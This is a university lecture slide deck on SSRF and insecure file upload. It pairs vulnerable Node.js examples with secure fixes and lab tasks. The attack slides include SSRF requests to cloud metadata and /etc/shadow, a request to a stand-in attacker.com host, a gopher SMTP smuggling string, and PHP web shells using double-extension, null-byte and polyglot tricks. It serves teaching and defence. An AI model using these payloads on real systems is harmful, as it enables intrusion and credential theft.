← Back to Module

WEB-SSRF-01 & WEB-UPLOAD-01

SSRF & File Upload Security

CMU540: Cyber Security - Session 9

Birmingham Newman University

Lecturer: James Williams

Understanding server-side request forgery and secure file handling

3-hour session • 30 slides • 2 interactive tasks

Session Timeline:

  • 10 min: Registration & waiting
  • 20 min: Opening slides
  • 45 min: Task 1
  • 15 min: Break/Catch up
  • 20 min: Secondary slides
  • 45 min: Task 2
  • Remaining: Self-study

Learning Objectives

  • Understand OWASP A10: SSRF and File Upload Security
  • Identify SSRF attack vectors and prevention methods
  • Learn secure file upload practices
  • Practice vulnerability discovery using OS³ Studio
  • Implement secure SSRF protection and file handling
  • Explore career opportunities in web security

OWASP A10: SSRF & File Upload Security

SSRF: Server-Side Request Forgery forces the server to make requests to unintended locations

File Upload: Insecure file upload can lead to remote code execution and data breaches

Key Areas:

  • SSRF attack techniques
  • File upload vulnerabilities
  • Input validation and sanitization
  • Secure file handling

Real-World Impact

Notable Breaches:

  • Capital One (2019): SSRF led to 100M records exposed
  • GitHub (2019): SSRF vulnerability in webhooks
  • Facebook (2013): File upload vulnerability exposed user data

Impact: Data breaches, server compromise, financial loss

SSRF Attack Techniques

1. Basic SSRF

<!-- VULNERABLE: SSRF -->
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  fetch(url).then(response => {
    res.json(response);
  });
});

<!-- Attack -->
GET /fetch?url=http://localhost:22
GET /fetch?url=file:///etc/passwd
GET /fetch?url=http://169.254.169.254/latest/meta-data/

2. Blind SSRF

<!-- VULNERABLE: Blind SSRF -->
app.post('/webhook', (req, res) => {
  const url = req.body.url;
  fetch(url); // No response returned
  res.json({ status: 'sent' });
});

<!-- Attack with external monitoring -->
POST /webhook
{"url": "http://attacker.com/ssrf"}

SSRF Attack Vectors

1. Internal Network Scanning

<!-- Internal network scanning -->
http://localhost:22 # SSH
http://localhost:3306 # MySQL
http://localhost:5432 # PostgreSQL
http://localhost:6379 # Redis
http://localhost:9200 # Elasticsearch

<!-- Cloud metadata endpoints -->
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/

2. Protocol Smuggling

<!-- Protocol smuggling -->
gopher://localhost:25/_HELO%20attacker.com%0AMAIL%20FROM:%20test@attacker.com%0ARCPT%20TO:%20victim@target.com%0ADATA%0ASubject:%20SSRF%20Test%0A%0AThis%20is%20a%20test%0A.%0AQUIT%0A

<!-- File access -->
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ

File Upload Vulnerabilities

1. Unrestricted File Upload

<!-- VULNERABLE: Unrestricted upload -->
app.post('/upload', upload.single('file'), (req, res) => {
  const file = req.file;
  res.json({
    filename: file.filename,
    path: file.path
  });
});

<!-- Malicious file -->
<?php system($_GET['cmd']); ?> // shell.php

2. File Type Bypass

<!-- VULNERABLE: MIME type check only -->
if (file.mimetype === 'image/jpeg') {
  allowUpload(file);
}

<!-- Bypass -->
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?> // shell.php

File Upload Attack Techniques

1. Double Extension

<!-- Double extension attack -->
shell.php.jpg
shell.php.png
shell.php.gif

<!-- Server processes as PHP -->
<?php system($_GET['cmd']); ?>

2. Null Byte Injection

<!-- Null byte injection -->
shell.php%00.jpg
shell.php\x00.jpg

<!-- Server truncates at null byte -->
filename: shell.php

3. Polyglot Files

<!-- Polyglot file -->
GIF89a<?php system($_GET['cmd']); ?>

<!-- Valid GIF header + PHP code -->

Career Opportunities in Web Security

Web Security Roles:

  • Web Application Security Engineer: £45,000 - £90,000
  • Penetration Tester: £35,000 - £70,000
  • Security Consultant: £50,000 - £100,000
  • Bug Bounty Hunter: £30,000 - £150,000+
  • Security Researcher: £40,000 - £80,000

Skills Needed: Web security, Penetration testing, Vulnerability assessment

OS³ Newman Cyber Security Lab

WEB-SSRF-01 & WEB-UPLOAD-01 Lab Environment

Our OS³ Studio provides hands-on experience with:

  • Applications vulnerable to SSRF attacks
  • Insecure file upload implementations
  • Secure implementation challenges
  • File handling best practices

Access: Available through university portal

Web Demos and Tools

Case Study: Capital One SSRF

2019 Capital One SSRF Breach

  • Impact: 100 million records exposed
  • Cause: SSRF vulnerability in AWS metadata service
  • Method: Attacker used SSRF to obtain AWS credentials
  • Cost: $190 million in settlements

Lesson: SSRF can lead to cloud infrastructure compromise

Summary: Common SSRF & File Upload Issues

Key Vulnerabilities to Look For:

  1. Unvalidated URL parameters
  2. Missing input validation
  3. Unrestricted file uploads
  4. Insufficient file type checking
  5. Missing file content validation
  6. Insecure file storage
  7. Missing access controls

Task 1: SSRF & File Upload Vulnerability Discovery

Objective:

Use OS³ Studio to identify SSRF vulnerabilities and insecure file upload implementations.

Instructions:

  1. Access the OS³ Studio vulnerable application
  2. Test for SSRF vulnerabilities in URL parameters
  3. Attempt internal network scanning
  4. Test for cloud metadata access
  5. Look for unrestricted file uploads
  6. Test file type bypass techniques
  7. Document all findings with proof of concept
  8. Prepare a vulnerability assessment report

Time: 45 minutes

Focus on systematic testing and thorough documentation

Break Time

15 Minutes

Take a break, ask questions, or catch up on the previous task.

Next: Secure implementation and Task 2

Secure SSRF Protection

1. URL Validation

<!-- SECURE: URL validation -->
function validateUrl(url) {
  try {
    const parsedUrl = new URL(url);
    // Block private IPs
    if (isPrivateIP(parsedUrl.hostname)) {
      return false;
    }
    // Allow only HTTP/HTTPS
    if (!['http:', 'https:'].includes(parsedUrl.protocol)) {
      return false;
    }
    return true;
  } catch {
    return false;
  }
}

function isPrivateIP(hostname) {
  const privateRanges = [
    /^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./,
    /^127\./, /^169\.254\./, /^::1$/, /^fc00:/, /^fe80:/
  ];
  return privateRanges.some(range => range.test(hostname));
}

2. Allowlist Approach

<!-- SECURE: Allowlist approach -->
const allowedDomains = [
  'api.example.com',
  'trusted-service.com'
];

function isAllowedDomain(hostname) {
  return allowedDomains.includes(hostname);
}

app.get('/fetch', (req, res) => {
  const url = req.query.url;
  if (!validateUrl(url) || !isAllowedDomain(new URL(url).hostname)) {
    return res.status(400).json({ error: 'Invalid URL' });
  }
  fetch(url).then(response => res.json(response));
});

Secure File Upload Implementation

1. File Type Validation

<!-- SECURE: File type validation -->
const multer = require('multer');
const path = require('path');

const storage = multer.diskStorage({
  destination: 'uploads/',
  filename: (req, file, cb) => {
    const ext = path.extname(file.originalname);
    const name = crypto.randomBytes(16).toString('hex');
    cb(null, name + ext);
  }
});

const upload = multer({
  storage: storage,
  fileFilter: (req, file, cb) => {
    const allowedTypes = ['.jpg', '.jpeg', '.png', '.gif'];
    const ext = path.extname(file.originalname).toLowerCase();
    if (allowedTypes.includes(ext)) {
      cb(null, true);
    } else {
      cb(new Error('Invalid file type'), false);
    }
  },
  limits: { fileSize: 5 * 1024 * 1024 } // 5MB
});

2. File Content Validation

<!-- SECURE: File content validation -->
const fileType = require('file-type');

async function validateFileContent(filePath) {
  const type = await fileType.fromFile(filePath);
  const allowedMimes = [
    'image/jpeg', 'image/png', 'image/gif'
  ];
  return allowedMimes.includes(type.mime);
}

app.post('/upload', upload.single('file'), async (req, res) => {
  if (!await validateFileContent(req.file.path)) {
    fs.unlinkSync(req.file.path);
    return res.status(400).json({ error: 'Invalid file content' });
  }
  res.json({ success: true, filename: req.file.filename });
});

File Storage Security

1. Secure File Storage

<!-- SECURE: File storage outside web root -->
const path = require('path');

const storage = multer.diskStorage({
  destination: path.join(__dirname, '../uploads/'), // Outside web root
  filename: (req, file, cb) => {
    const ext = path.extname(file.originalname);
    const name = crypto.randomBytes(32).toString('hex');
    cb(null, name + ext);
  }
});

// Serve files through secure endpoint
app.get('/files/:filename', (req, res) => {
  const filename = req.params.filename;
  if (!isValidFilename(filename)) {
    return res.status(400).json({ error: 'Invalid filename' });
  }
  res.sendFile(path.join(__dirname, '../uploads/', filename));
});

2. File Access Controls

<!-- SECURE: File access controls -->
app.get('/files/:filename', authenticateUser, (req, res) => {
  const filename = req.params.filename;
  const filePath = path.join(__dirname, '../uploads/', filename);

  // Check if user has access to this file
  if (!hasFileAccess(req.user.id, filename)) {
    return res.status(403).json({ error: 'Access denied' });
  }

  // Log file access
  logFileAccess(req.user.id, filename, req.ip);

  res.sendFile(filePath);
});

Input Sanitization

1. Filename Sanitization

<!-- SECURE: Filename sanitization -->
function sanitizeFilename(filename) {
  // Remove path traversal attempts
  filename = filename.replace(/[\/\\]/g, '');
  // Remove null bytes
  filename = filename.replace(/\0/g, '');
  // Remove special characters
  filename = filename.replace(/[^a-zA-Z0-9.-]/g, '');
  // Limit length
  filename = filename.substring(0, 255);
  return filename;
}

const upload = multer({
  storage: multer.diskStorage({
    filename: (req, file, cb) => {
      const sanitized = sanitizeFilename(file.originalname);
      const ext = path.extname(sanitized);
      const name = crypto.randomBytes(16).toString('hex');
      cb(null, name + ext);
    }
  })
});

2. URL Sanitization

<!-- SECURE: URL sanitization -->
function sanitizeUrl(url) {
  // Remove dangerous protocols
  url = url.replace(/^(file|gopher|ftp|ldap):/i, '');
  // Remove null bytes
  url = url.replace(/\0/g, '');
  // Remove control characters
  url = url.replace(/[\x00-\x1F\x7F]/g, '');
  return url;
}

app.get('/fetch', (req, res) => {
  let url = req.query.url;
  url = sanitizeUrl(url);
  if (!validateUrl(url)) {
    return res.status(400).json({ error: 'Invalid URL' });
  }
  fetch(url).then(response => res.json(response));
});

Monitoring and Logging

1. Security Event Logging

<!-- SECURE: Security logging -->
function logSecurityEvent(event, details) {
  const logEntry = {
    timestamp: new Date().toISOString(),
    event: event,
    userId: details.userId,
    ip: details.ip,
    userAgent: details.userAgent,
    details: details
  };
  securityLogger.warn(logEntry);
}

// Log SSRF attempts
app.get('/fetch', (req, res) => {
  const url = req.query.url;
  if (!validateUrl(url)) {
    logSecurityEvent('ssrf_attempt', {
      url: url,
      ip: req.ip,
      userAgent: req.headers['user-agent']
    });
    return res.status(400).json({ error: 'Invalid URL' });
  }
});

2. File Upload Monitoring

<!-- SECURE: File upload monitoring -->
app.post('/upload', upload.single('file'), (req, res) => {
  logSecurityEvent('file_upload', {
    filename: req.file.originalname,
    size: req.file.size,
    mimetype: req.file.mimetype,
    ip: req.ip,
    userId: req.user.id
  });
  res.json({ success: true });
});

Career Development in Web Security

Next Steps:

  • Advanced Certifications: OSWE, GWAPT, OSCP
  • Specialized Training: Web application security, Penetration testing
  • Hands-on Practice: Bug bounties, CTF competitions
  • Industry Networking: Security conferences, meetups
  • Research: New attack techniques, Defense methods

Resources: OWASP | PortSwigger | PentesterLab

Task 2: Secure SSRF Protection & File Upload Implementation

Objective:

Use OS³ Studio to implement secure SSRF protection and file upload practices.

Instructions:

  1. Access the OS³ Studio secure implementation environment
  2. Implement URL validation and allowlisting
  3. Add file type and content validation
  4. Configure secure file storage outside web root
  5. Implement file access controls
  6. Add input sanitization and monitoring
  7. Test the secure implementation
  8. Document the security improvements

Time: 45 minutes

Focus on implementing industry-standard security practices

Further Activity: Code Inspection

Advanced Students - Code Analysis:

For students with additional time, explore the source code to understand:

  • How SSRF protection is implemented
  • File upload validation mechanisms
  • Input sanitization and validation
  • File storage and access controls
  • Security monitoring and logging

Deliverable: Code review report with security recommendations

Session Summary

Key Takeaways:

  • SSRF can lead to internal network compromise
  • File upload vulnerabilities can result in RCE
  • Input validation and sanitization are critical
  • OS³ Studio provides hands-on vulnerability testing
  • Secure implementation requires multiple layers of protection
  • Career opportunities in web security are growing

Course Completion

Congratulations!

  • All CMU540 sessions completed
  • Comprehensive understanding of web security
  • Hands-on experience with OS³ Studio
  • Industry-standard security practices learned
  • Career pathways explored

Next Steps: Continue learning, practice with tools, consider certifications